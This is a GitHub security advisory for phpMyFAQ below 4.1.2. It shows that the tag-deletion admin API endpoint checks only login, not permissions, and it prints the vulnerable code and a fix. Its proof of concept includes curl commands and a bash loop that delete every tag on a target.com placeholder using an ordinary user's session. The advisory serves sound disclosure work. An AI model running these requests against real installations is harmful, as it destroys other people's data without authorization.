GHSA-7cx3-2qx2-3g6w phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

• Packagist phpmyfaq/phpmyfaq: < 4.1.2 → fixed in 4.1.2 • Packagist thorsten/phpmyfaq: < 4.1.2 → fixed in 4.1.2

Summary The `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission. Details In `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this->userIsAuthenticated()`: ```php [Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userIsAuthenticated(); // Only checks isLoggedIn() — no permission check $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` Compare with `update()` (line 48-71) which properly enforces authorization: ```php public function update(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); // Proper permission check // ... also verifies CSRF token ... } ``` The `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this->currentUser->isLoggedIn()`: ```php protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } ``` There is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests. Additionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly. PoC ```bash Step 1: Register as a regular user on the phpMyFAQ frontend (or use any existing non-admin authenticated session) Step 2: As the authenticated non-admin user, delete tag with ID 1: curl -X DELETE 'https://target.com/admin/api/content/tags/1' \ -H 'Cookie: PHPSESSID=' Expected: 401 or 403 (user lacks FAQ_EDIT permission) Actual: 200 OK with {"success": "..."} Step 3: Enumerate and delete all tags: for i in $(seq 1 100); do curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \ -H 'Cookie: PHPSESSID=' done ``` Impact Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in: • Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed. • Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken. • No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup. The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability. Recommended Fix Add the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`: ```php [Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` At minimum, add `$this->userHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control.